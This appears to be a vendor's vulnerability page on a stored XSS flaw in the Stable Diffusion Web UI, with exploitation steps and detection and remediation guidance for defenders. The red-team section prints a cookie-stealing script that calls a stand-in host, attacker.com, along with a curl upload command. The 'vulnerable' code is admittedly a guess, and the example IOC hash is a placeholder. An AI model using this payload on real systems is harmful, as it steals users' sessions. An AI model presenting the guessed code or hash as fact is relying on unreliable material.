CVE-2024-12374
Executive Summary
CVE-2024-12374 is a stored cross-site scripting (XSS) vulnerability in the Automatic1111 Stable Diffusion Web UI (git commit 82a973c). The application fails to properly validate uploaded file types, allowing an attacker to upload an HTML file that is served with a text/html content type. When a victim accesses the malicious link, arbitrary JavaScript executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the user's environment. The vulnerability has a CVSS score of 6.1 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation at this time. No official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a Python-based web application (Stable Diffusion Web UI) that is typically installed via Git or as a standalone application. The risk is primarily to end users who host or access instances of this web UI.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click the malicious link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication required) and the potential for session hijacking or phishing make this a significant concern for any public-facing instance.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of the Stable Diffusion Web UI. The application accepts file uploads (e.g., images, prompts) but does not validate the file type or content. When an attacker uploads an HTML file, the server stores it and serves it with a Content-Type: text/html header. This allows the browser to interpret the file as an HTML document, executing any embedded JavaScript.
Root Cause: The application does not sanitize the Content-Type header based on the file's actual content. It relies on the file extension or MIME type provided by the client, which can be easily spoofed.
Attack Flow:
- Attacker crafts an HTML file containing malicious JavaScript (e.g., to steal cookies or redirect to a phishing page).
- Attacker uploads the file to the vulnerable web UI (e.g., via the
/uploadendpoint). - The server stores the file and returns a URL (e.g.,
http://victim-server:7860/file=malicious.html). - Attacker sends the URL to a victim (e.g., via email, social media, or embedding in a legitimate-looking page).
- Victim clicks the link; the browser loads the HTML file and executes the JavaScript in the context of the web UI's origin.
Vulnerable vs. Patched Code
Vulnerable Code (git commit 82a973c): The file upload handler likely uses a generic file serving mechanism without content-type validation. For example:
# Vulnerable: serves any uploaded file with its original content type
@app.route('/file=<path:filename>')
def serve_file(filename):
return send_from_directory(UPLOAD_FOLDER, filename)
Patched Code (hypothetical):
A patch would enforce content-type validation or serve files with a safe content type (e.g., application/octet-stream). For example:
# Patched: force safe content type for all uploaded files
@app.route('/file=<path:filename>')
def serve_file(filename):
response = send_from_directory(UPLOAD_FOLDER, filename)
response.headers['Content-Type'] = 'application/octet-stream'
return response
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable instance of Automatic1111 Stable Diffusion Web UI (git commit 82a973c).
- Access to the upload functionality (no authentication required by default).
Exploit Steps:
- Create a malicious HTML file (e.g.,
xss.html):<html> <body> <script> alert('XSS'); // Steal cookies fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> </body> </html> - Upload the file via the web UI (e.g., using the "Upload" button or a direct POST request):
curl -X POST -F "file=@xss.html" http://victim-server:7860/upload - Note the returned URL (e.g.,
http://victim-server:7860/file=xss.html). - Send the URL to the victim.
Expected Outcome: The victim's browser executes the JavaScript, sending their cookies to the attacker's server.
Blue Team
Detection:
- Monitor for file uploads with
.htmlor.htmextensions. - Monitor for requests to
/file=endpoints that returnContent-Type: text/html. - Use web application firewalls (WAF) to block uploads of HTML files.
Hunting:
- Search logs for
POST /uploadrequests withfilenamecontaining.html. - Search for
GET /file=requests that result in a200response withContent-Type: text/html.
Mitigation:
- Apply input validation to reject HTML files.
- Serve all uploaded files with
Content-Type: application/octet-stream. - Implement Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example, replace with actual if known)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious HTML file)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests to
/file=endpoints with.htmlextension.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
POST /uploadwithfilename=xss.htmlGET /file=xss.htmlwithContent-Type: text/html
Detection Engineering
YARA Rule
rule CVE_2024_12374_XSS_HTML_Upload {
meta:
description = "Detects malicious HTML files uploaded to exploit CVE-2024-12374"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-12374"
strings:
$html_tag = "<html" nocase
$script_tag = "<script" nocase
$onerror = "onerror=" nocase
$onload = "onload=" nocase
condition:
$html_tag and ($script_tag or $onerror or $onload)
}
Sigma Rule
title: CVE-2024-12374 Stored XSS via HTML Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to Stable Diffusion Web UI
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
cs-uri-query|contains: '.html'
condition: selection
falsepositives:
- Legitimate HTML file uploads (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12374 Stored XSS via HTML Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".html"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file uploads if not required.
- Apply a WAF rule to block uploads of
.htmland.htmfiles. - Manually patch the application by modifying the file serving code to force
Content-Type: application/octet-stream.
Long-term Fix:
- Wait for an official patch from Automatic1111.
- Implement file content validation (e.g., using
python-magicto detect MIME type). - Add Content Security Policy (CSP) headers to the web UI.
Workarounds:
- Use a reverse proxy (e.g., Nginx) to serve uploaded files with a safe content type:
location /file= { add_header Content-Type application/octet-stream; }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.